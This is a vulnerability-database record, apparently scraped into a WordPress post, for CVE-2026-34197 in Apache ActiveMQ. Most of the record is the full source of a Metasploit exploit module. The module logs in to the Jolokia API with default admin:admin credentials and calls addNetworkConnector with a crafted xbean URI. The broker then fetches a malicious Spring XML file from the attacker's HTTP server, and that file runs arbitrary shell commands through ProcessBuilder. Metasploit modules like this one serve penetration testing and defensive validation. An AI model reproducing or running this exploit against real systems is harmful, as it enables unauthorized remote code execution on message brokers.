{“lastseen”:”2026-05-29T19:32:21″,”description”:”Apache ActiveMQ exposes a Jolokia JMX-over-HTTP API at \/api\/jolokia\/. An authenticated attacker can invoke the addNetworkConnector MBean operation with a crafted URI that causes the broker to fetch a remote Spring XML configuration over HTTP. The…”,”published”:”2026-05-29T19:02:34″,”modified”:”2026-05-29T19:02:34″,”type”:”metasploit”,”title”:”Apache ActiveMQ RCE via Jolokia addNetworkConnector”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-MULTI-HTTP-APACHE_ACTIVEMQ_JOLOKIA_RCE-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-34197″],”sourceData”:”# frozen_string_literal: true\\n\\n##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n\\n prepend Msf::Exploit::Remote::AutoCheck\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Exploit::Remote::HttpServer\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Apache ActiveMQ RCE via Jolokia addNetworkConnector’,\\n ‘Description’ =\\u003e %q{\\n Apache ActiveMQ exposes a Jolokia JMX-over-HTTP API at \/api\/jolokia\/.\\n An authenticated attacker can invoke the addNetworkConnector() MBean\\n operation with a crafted URI that causes the broker to fetch a remote\\n Spring XML configuration over HTTP. The Spring XML instantiates a\\n ProcessBuilder bean that executes attacker-supplied OS commands.\\n\\n Default credentials (admin:admin) are accepted by many installations.\\n\\n Verified on docker image\\n },\\n ‘Author’ =\\u003e [\\n ‘dinosn’, # Discovery and PoC\\n ‘h00die’ # Metasploit module\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2026-34197’],\\n [‘URL’, ‘https:\/\/github.com\/dinosn\/CVE-2026-34197’],\\n [‘URL’, ‘https:\/\/horizon3.ai\/attack-research\/disclosures\/cve-2026-34197-activemq-rce-jolokia\/’]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2026-04-29’,\\n ‘Platform’ =\\u003e %w[linux unix win],\\n ‘Arch’ =\\u003e [ARCH_CMD],\\n ‘Privileged’ =\\u003e false,\\n ‘Stance’ =\\u003e Stance::Aggressive,\\n ‘Targets’ =\\u003e [\\n [‘Windows’, { ‘Platform’ =\\u003e ‘win’ }],\\n [‘Linux’, { ‘Platform’ =\\u003e %w[linux unix] }],\\n [‘Unix’, { ‘Platform’ =\\u003e ‘unix’ }]\\n ],\\n ‘DefaultTarget’ =\\u003e 1,\\n ‘DefaultOptions’ =\\u003e {\\n ‘WfsDelay’ =\\u003e 30\\n },\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS]\\n }\\n )\\n )\\n\\n register_options([\\n Opt::RPORT(8161),\\n OptString.new(‘TARGETURI’, [true, ‘Base path to ActiveMQ web console’, ‘\/’]),\\n OptString.new(‘USERNAME’, [true, ‘Jolokia username’, ‘admin’]),\\n OptString.new(‘PASSWORD’, [true, ‘Jolokia password’, ‘admin’]),\\n OptString.new(‘BROKER_NAME’, [false, ‘Broker name (auto-detected if blank)’, ”])\\n ])\\n end\\n\\n def check\\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘\/api\/jolokia\/’),\\n ‘authorization’ =\\u003e basic_auth(datastore[‘USERNAME’], datastore[‘PASSWORD’])\\n })\\n\\n return CheckCode::Unknown(‘No response from target’) unless res\\n return CheckCode::Unknown(‘Authentication failed (401) \u2014 check USERNAME\/PASSWORD’) if res.code == 401\\n return CheckCode::Unknown(‘Jolokia access forbidden (403)’) if res.code == 403\\n return CheckCode::Unknown(\\”Unexpected HTTP status: #{res.code}\\”) unless res.code == 200\\n\\n data = res.get_json_document\\n return CheckCode::Unknown(‘Could not parse Jolokia response’) if data.empty?\\n\\n agent = data.dig(‘value’, ‘agent’) || ‘unknown’\\n CheckCode::Appears(\\”Jolokia accessible \u2014 agent version: #{agent}\\”)\\n end\\n\\n def on_request_uri(cli, request)\\n vprint_status(\\”#{request.method} #{request.uri}\\”)\\n\\n case target[‘Platform’]\\n when ‘win’\\n shell = ‘cmd.exe’\\n flag = ‘\/c’\\n else\\n shell = ‘\/bin\/sh’\\n flag = ‘-c’\\n end\\n\\n xml = %(\\u003c?xml version=\\”1.0\\” encoding=\\”UTF-8\\”?\\u003e\\n\\u003cbeans xmlns=\\”http:\/\/www.springframework.org\/schema\/beans\\”\\n xmlns:xsi=\\”http:\/\/www.w3.org\/2001\/XMLSchema-instance\\”\\n xsi:schemaLocation=\\”http:\/\/www.springframework.org\/schema\/beans\\n http:\/\/www.springframework.org\/schema\/beans\/spring-beans.xsd\\”\\u003e\\n \\u003cbean id=\\”#{Rex::Text.rand_text_alpha(8)}\\” class=\\”java.lang.ProcessBuilder\\” init-method=\\”start\\”\\u003e\\n \\u003cconstructor-arg\\u003e\\n \\u003clist\\u003e\\n \\u003cvalue\\u003e#{shell}\\u003c\/value\\u003e\\n \\u003cvalue\\u003e#{flag}\\u003c\/value\\u003e\\n \\u003cvalue\\u003e\\u003c![CDATA[#{payload.encoded}]]\\u003e\\u003c\/value\\u003e\\n \\u003c\/list\\u003e\\n \\u003c\/constructor-arg\\u003e\\n \\u003c\/bean\\u003e\\n\\u003c\/beans\\u003e)\\n\\n send_response(cli, xml, {\\n ‘Content-Type’ =\\u003e ‘application\/xml’,\\n ‘Connection’ =\\u003e ‘close’,\\n ‘Pragma’ =\\u003e ‘no-cache’\\n })\\n print_good(‘Malicious Spring XML served \u2014 target will execute payload via ProcessBuilder’)\\n end\\n\\n def exploit\\n start_service\\n\\n bname = detect_broker_name\\n print_status(\\”Using broker name: #{bname}\\”)\\n\\n remove_network_connector(bname, ‘NC’)\\n\\n # static:(…) is the network connector discovery URI.\\n # vm:\/\/#{Rex::Text.rand_text_alpha(8)} references a non-existent broker, forcing dynamic creation.\\n # brokerConfig=xbean:http:\/\/… loads remote Spring XML config.\\n malicious_uri = \\”static:(vm:\/\/#{Rex::Text.rand_text_alpha(8)}?brokerConfig=xbean:#{get_uri})\\”\\n\\n jolokia_body = {\\n ‘type’ =\\u003e ‘exec’,\\n ‘mbean’ =\\u003e \\”org.apache.activemq:type=Broker,brokerName=#{bname}\\”,\\n ‘operation’ =\\u003e ‘addNetworkConnector(java.lang.String)’,\\n ‘arguments’ =\\u003e [malicious_uri]\\n }.to_json\\n\\n print_status(\\”Sending Jolokia exploit request to #{rhost}:#{rport}\\”)\\n vprint_status(\\”Malicious URI: #{malicious_uri}\\”)\\n\\n # Use a short timeout: ActiveMQ fetches our Spring XML and runs the payload\\n # asynchronously, so the Jolokia POST often never returns a response.\\n # We handle the session in the handler regardless.\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘\/api\/jolokia\/’),\\n ‘authorization’ =\\u003e basic_auth(datastore[‘USERNAME’], datastore[‘PASSWORD’]),\\n ‘ctype’ =\\u003e ‘application\/json’,\\n ‘data’ =\\u003e jolokia_body,\\n ‘headers’ =\\u003e { ‘Origin’ =\\u003e \\”#{ssl ? ‘https’ : ‘http’}:\/\/#{rhost}:#{rport}\\” },\\n ‘timeout’ =\\u003e 10\\n })\\n\\n if res.nil?\\n print_status(‘Jolokia POST timed out \u2014 broker is likely fetching Spring XML and executing payload’)\\n elsif res.code == 401\\n fail_with(Failure::NoAccess, ‘Authentication failed \u2014 check USERNAME\/PASSWORD’)\\n elsif res.code != 200\\n print_warning(\\”Unexpected HTTP status: #{res.code} \u2014 continuing anyway\\”)\\n else\\n result = res.get_json_document\\n if result.empty?\\n print_warning(‘Could not parse Jolokia response \u2014 continuing anyway’)\\n elsif result[‘status’] == 200\\n print_good(‘Jolokia accepted the payload \u2014 waiting for target to fetch Spring XML…’)\\n else\\n print_warning(\\”Jolokia returned status #{result[‘status’]}: #{result[‘error’]}\\”)\\n end\\n end\\n\\n handler\\n end\\n\\n private\\n\\n def remove_network_connector(broker_name, connector_name)\\n body = {\\n ‘type’ =\\u003e ‘exec’,\\n ‘mbean’ =\\u003e \\”org.apache.activemq:type=Broker,brokerName=#{broker_name}\\”,\\n ‘operation’ =\\u003e ‘removeNetworkConnector(java.lang.String)’,\\n ‘arguments’ =\\u003e [connector_name]\\n }.to_json\\n\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘\/api\/jolokia\/’),\\n ‘authorization’ =\\u003e basic_auth(datastore[‘USERNAME’], datastore[‘PASSWORD’]),\\n ‘ctype’ =\\u003e ‘application\/json’,\\n ‘data’ =\\u003e body,\\n ‘headers’ =\\u003e { ‘Origin’ =\\u003e \\”#{ssl ? ‘https’ : ‘http’}:\/\/#{rhost}:#{rport}\\” }\\n })\\n\\n if res\\u0026.code == 200\\n vprint_status(\\”Removed existing ‘#{connector_name}’ network connector\\”)\\n else\\n vprint_status(\\”No existing ‘#{connector_name}’ connector to remove (or removal failed) \u2014 continuing\\”)\\n end\\n end\\n\\n def detect_broker_name\\n return datastore[‘BROKER_NAME’] unless datastore[‘BROKER_NAME’].blank?\\n\\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘\/api\/jolokia\/read\/org.apache.activemq:type=Broker,brokerName=*’),\\n ‘authorization’ =\\u003e basic_auth(datastore[‘USERNAME’], datastore[‘PASSWORD’])\\n })\\n\\n if res\\u0026.code == 200\\n data = res.get_json_document\\n if !data.empty? \\u0026\\u0026 data[‘status’] == 200 \\u0026\\u0026 data[‘value’]\\n data[‘value’].each_key do |mbean|\\n mbean.split(‘,’).each do |part|\\n next unless part.start_with?(‘brokerName=’)\\n\\n name = part.split(‘=’, 2).last\\n vprint_status(\\”Discovered broker name: #{name}\\”)\\n return name\\n end\\n end\\n end\\n end\\n\\n vprint_status(\\”Could not discover broker name, using default ‘localhost’\\”)\\n ‘localhost’\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/http\/apache_activemq_jolokia_rce.rb”,”cvss”:{“score”:8.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/http\/apache_activemq_jolokia_rce\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-29T19:32:21″,”description”:”Apache ActiveMQ exposes a Jolokia JMX-over-HTTP API at \/api\/jolokia\/. An authenticated attacker can invoke the addNetworkConnector MBean operation with a crafted URI that causes the…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,169,13,7,11,5],"class_list":["post-58385","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n